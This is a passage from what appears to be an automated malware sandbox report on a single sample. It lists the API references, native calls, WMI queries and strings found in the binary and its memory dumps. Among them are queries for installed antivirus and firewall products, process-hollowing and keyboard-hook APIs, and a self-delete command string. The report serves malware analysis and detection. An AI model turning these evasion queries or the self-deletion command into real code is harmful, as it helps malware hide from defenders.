logFile=%TEMP%\proclog.txt" (Indicator: "set "; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp")30:T8e2,Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "GetWindowText" (Indicator: "GetWindowText"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "FindWindow" (Indicator: "FindWindow"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "FindWindowEx" (Indicator: "FindWindow"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "GetWindowText" (Indicator: "GetWindowText"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "FindWindow" (Indicator: "FindWindow"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API "FindWindowEx" (Indicator: "FindWindow"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")31:T679,Found string "Select * From Win32_Process Where ParentProcessID=" (Indicator: " Win32_Process"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SELECT CommandLine FROM Win32_Process WHERE ProcessId =" (Indicator: " Win32_Process"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "SELECT * FROM Win32_Processor" (Indicator: " Win32_Process"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "ECT CommandLine FROM Win32_Process WHERE ProcessId =" (Indicator: " Win32_Process"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "elect * From Win32_Process Where ParentProcessID=" (Indicator: " Win32_Process"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "ELECT * FROM Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "ELECT CommandLine FROM Win32_Process WHERE ProcessId =" (Indicator: " Win32_Process"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")32:T484,file/memory contains long string with (Indicator: "GetExecutingAssembly"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "GetExecutingAssembly" (Indicator: "GetExecutingAssembly"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "GetExecutingAssembly"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + System.Reflection.Assembly.GetExecutingAssembly().Location " (Indicator: "GetExecutingAssembly"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp"), Found string "GetExecutingAssembly" (Indicator: "GetExecutingAssembly"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp 00000000-00003464.00000001.68400.00172000.00000020.mdmp 00000000-00003464.00000002.70319.00172000.00000020.mdmp 00000000-00003464.00000003.75826.00172000.00000020.mdmp")33:T419,Found reference to native API (Indicator: "RtlSetProcessIsCritical"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to native API (Indicator: "NtUnmapViewOfSection"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to native API (Indicator: "ZwUnmapViewOfSection"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to native API (Indicator: "RtlSetProcessIsCritical"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to native API (Indicator: "NtUnmapViewOfSection"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")34:T656,"SELECT Caption FROM Win32_OperatingSystem" (Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin, Indicator: "select caption from win32_operatingsystem") "SELECT * FROM Win32_VideoController" (Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin, Indicator: "select * from win32_videocontroller") "Select * From Win32_Process Where ParentProcessID=" (Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin, Indicator: "select * from win32_process where parentprocessid=") "SELECT CommandLine FROM Win32_Process WHERE ProcessId =" (Source: 1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin, Indicator: "select commandline from win32_process where processid =") "SELECT * FROM Win32_BIOS" (Source: 60008f2-_~_, Indicator: "select * from win32_bios") "SELECT * FROM Win32_BaseBoard" (Source: 60008f3-_~_, Indicator: "select * from win32_baseboard") "SELECT * FROM Win32_Processor" (Source: 60008f4-_~_, Indicator: "select * from win32_processor") "Select * From Win32_ComputerSystem" (Source: 60008f5-_~_, Indicator: "select * from win32_computersystem") "SELECT * FROM Win32_DisplayConfiguration" (Source: 60008f6-_~_, Indicator: "select * from win32_displayconfiguration") "SELECT * FROM Win32_OperatingSystem WHERE Primary='true'" (Source: 6000a82-_~_, Indicator: "select * from win32_operatingsystem where primary='true'") "SELECT * FROM AntivirusProduct" (Source: 6000a84-_~_, Indicator: "select * from antivirusproduct") "SELECT * FROM FirewallProduct" (Source: 6000a85-_~_, Indicator: "select * from firewallproduct")35:T9110,Found reference to API (Indicator: "Sleep"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetObject"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "MessageBox"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetCurrentProcess"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetTempPath"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "LoadLibraryA"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "CreateDC"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "DeleteDC"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetMenuItemID"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "CreateDesktopW"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetWindowTextW"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetCurrentThreadId"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetWindowThreadProcessId"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "ResumeThread"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "ExitThread"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "SendMessage"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "PostMessage"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetExtendedTcpTable"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetEnvironmentVariable"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "IsWindowVisible"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetModuleHandle"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "CloseHandle"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "DeleteFile"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "WriteFile"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "URLDownloadToFile"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetCurrentHwProfile"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "QueryFullProcessImageName"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetTempFileName"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetKeyboardState"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "SetThreadExecutionState"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetKeyState"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "RevertToSelf"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "CompareString"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "SetWindowLong"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "ToAscii"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "RtlSetProcessIsCritical"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "QueueUserWorkItem"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "EnableMenuItem"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "DuplicateToken"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "NtUnmapViewOfSection"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "Wow64DisableWow64FsRedirection"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "Wow64RevertWow64FsRedirection"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetSystemInfo"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "SystemParametersInfo"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetLastInputInfo"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "CloseDesktop"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "OpenDesktop"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "SetCursorPos"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "SetWindowPos"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "IsWow64Process"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "CreateProcess"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetProcAddress"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "EnumDesktopWindows"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetWindowRect"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "BitBlt"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "WindowFromPoint"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "SendMessageTimeout"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetKeyboardLayout"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetWindowText"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "Wow64GetThreadContext"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "Wow64SetThreadContext"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetSubMenu"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetMenu"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "FindWindow"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetForegroundWindow"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "SetForegroundWindow"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "EnableWindow"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetConsoleWindow"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetDesktopWindow"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetWindow"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "RedrawWindow"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "ShowWindow"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "VirtualAllocEx"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "ToUnicodeEx"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "UnhookWindowsHookEx"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "SetWindowsHookEx"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "CallNextHookEx"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "FindWindowEx"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "MapVirtualKeyEx"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "LoadLibrary"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "ReadProcessMemory"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "WriteProcessMemory"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "CreateDirectory"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetCurrentDirectory"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetKernelObjectSecurity"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "SetKernelObjectSecurity"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "SetThreadContext"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "GetThreadContext"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "ZwUnmapViewOfSection"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "CreateProcessA"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found reference to API (Indicator: "Sleep"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetObject"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "MessageBox"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetTempPath"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "CreateDC"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "DeleteDC"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetMenuItemID"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "CreateDesktopW"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetWindowTextW"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetWindowThreadProcessId"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "ExitThread"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "SendMessage"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "PostMessage"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetExtendedTcpTable"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetEnvironmentVariable"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "IsWindowVisible"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetModuleHandle"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "DeleteFile"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "URLDownloadToFile"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentHwProfile"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "QueryFullProcessImageName"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetTempFileName"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetKeyboardState"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "SetThreadExecutionState"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "GetKeyState"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "RevertToSelf"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "CompareString"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "SetWindowLong"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found reference to API (Indicator: "ToAscii"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 